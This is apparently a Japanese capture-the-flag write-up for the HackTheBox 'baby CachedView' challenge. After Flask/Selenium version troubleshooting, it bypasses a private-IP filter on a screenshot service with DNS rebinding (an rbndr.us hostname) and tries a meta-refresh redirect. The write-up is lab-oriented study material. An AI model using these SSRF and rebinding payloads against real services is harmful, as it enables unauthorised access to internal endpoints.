Open roaris opened 4 months ago
build-docker.shを実行すると、AttributeError: 'Flask' object has no attribute 'before_first_request'
というエラーが発生する
https://community.render.com/t/flask-object-has-no-attribute-before-first-request/15671 によると、Flaskのバージョンを下げれば良いとのこと
requirements.txtでFlaskのバージョンに2.2未満を指定する
今度はImportError: cannot import name 'url_quote' from 'werkzeug.urls' (/app/venv/lib/python3.8/site-packages/werkzeug/urls.py)
というエラーが発生する
https://qiita.com/croquette0212/items/02d50cd77932f5a0aae1 によると、Flaskが依存するWerkzeugのバージョンを下げれば良いとのこと
requirements.txtでWerkzeugのバージョンに3.0未満を指定する
最終的なrequirements.txt
Flask < 2.2
selenium
Werkzeug < 3.0
これでアプリケーションは立ち上がるが、URLを送信すると、__init__() got an unexpected keyword argument 'executable_path'
というエラーが発生する
https://gammasoft.jp/blog/python-selenium-webdriver-deprecation-warning-by-executable_path/ によると、Seleniumのバージョンを下げれば良いとのこと
requirements.txtでSeleniumのバージョンに4.0未満を指定する
Flask < 2.2
selenium < 4.0
Werkzeug < 3.0
今度はTimeout value connect was , but it must be an int, float or None.
というエラーが発生する
折れたので、ローカルで動かすのは諦める
URLを送信すると、そのURLのスクリーンショットが保存されるというアプリケーション /flagにアクセスすると、フラグ画像が手に入るが、送信元IPが127.0.0.1じゃないと403が返るので、外部から/flagにアクセスすることは出来ない
from flask import Blueprint, request, render_template, abort, send_file
from application.util import cache_web, is_from_localhost
web = Blueprint('web', __name__)
api = Blueprint('api', __name__)
@web.route('/')
def index():
return render_template('index.html')
@api.route('/cache', methods=['POST'])
def cache():
if not request.is_json or 'url' not in request.json:
return abort(400)
return cache_web(request.json['url'])
@web.route('/flag')
@is_from_localhost
def flag():
return send_file('flag.png')
def is_from_localhost(func):
@functools.wraps(func)
def check_ip(*args, **kwargs):
if request.remote_addr != '127.0.0.1' or request.referrer:
return abort(403)
return func(*args, **kwargs)
return check_ip
送信するURLをhttp:\//127.0.0.1/flagにしても、送信先IPアドレスが127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 0.0.0.0/8の範囲にある場合は弾かれる
def cache_web(url):
scheme = urlparse(url).scheme
domain = urlparse(url).hostname
if not domain or not scheme:
return flash(f'Malformed url {url}', 'danger')
if scheme not in ['http', 'https']:
return flash('Invalid scheme', 'danger')
def ip2long(ip_addr):
return struct.unpack('!L', socket.inet_aton(ip_addr))[0]
def is_inner_ipaddress(ip):
ip = ip2long(ip)
return ip2long('127.0.0.0') >> 24 == ip >> 24 or \
ip2long('10.0.0.0') >> 24 == ip >> 24 or \
ip2long('172.16.0.0') >> 20 == ip >> 20 or \
ip2long('192.168.0.0') >> 16 == ip >> 16 or \
ip2long('0.0.0.0') >> 24 == ip >> 24
if is_inner_ipaddress(socket.gethostbyname(domain)):
return flash('IP not allowed', 'danger')
return serve_screenshot_from(url, domain)
ローカルのflag.pngを見ると、TOCTOUやRebindingと書いてある https://blog.tokumaru.org/2022/05/dns-rebinding-protection.html を読む
わざわざAレコードを変更しなくても、初めからhttp:\//trap.example.org/にイントラネットにアクセスするようなJavaScriptを仕込んで入れば良さそうな気がするけど違う?
それはともかく、SSRF攻撃と組み合わせることが出来て、今回やりたいのはこれ
https://lock.cmpxchg8b.com/rebinder.html を使う 127.0.0.1と142.251.222.14(google.comのIP)を設定する
$ nslookup 7f000001.8efbde0e.rbndr.us
Server: 172.23.64.1
Address: 172.23.64.1#53
Non-authoritative answer:
Name: 7f000001.8efbde0e.rbndr.us
Address: 142.251.222.14
$ nslookup 7f000001.8efbde0e.rbndr.us
Server: 172.23.64.1
Address: 172.23.64.1#53
Non-authoritative answer:
Name: 7f000001.8efbde0e.rbndr.us
Address: 127.0.0.1
名前解決の結果が、IPアドレスのバリデーション時は142.251.222.14で、スクリーンショットを取るためのリクエスト時は127.0.0.1だと上手くいく
http:\//7f000001.8efbde0e.rbndr.us/flagを入力する 何度か試しているとフラグ画像が取れた
meta refreshを使った別解もある https://skelter.hashnode.dev/htb-baby-cachedview-writeup-alternative
index.html
<meta http-equiv="refresh" content="0; URL=http://127.0.0.1/flag" />
python -m http.server
→ ngrok http http://localhost:8000
として、ngrokによって生成されるURLを送信する
確認画面で止まってしまい、駄目だった
https://app.hackthebox.com/challenges/baby%2520CachedView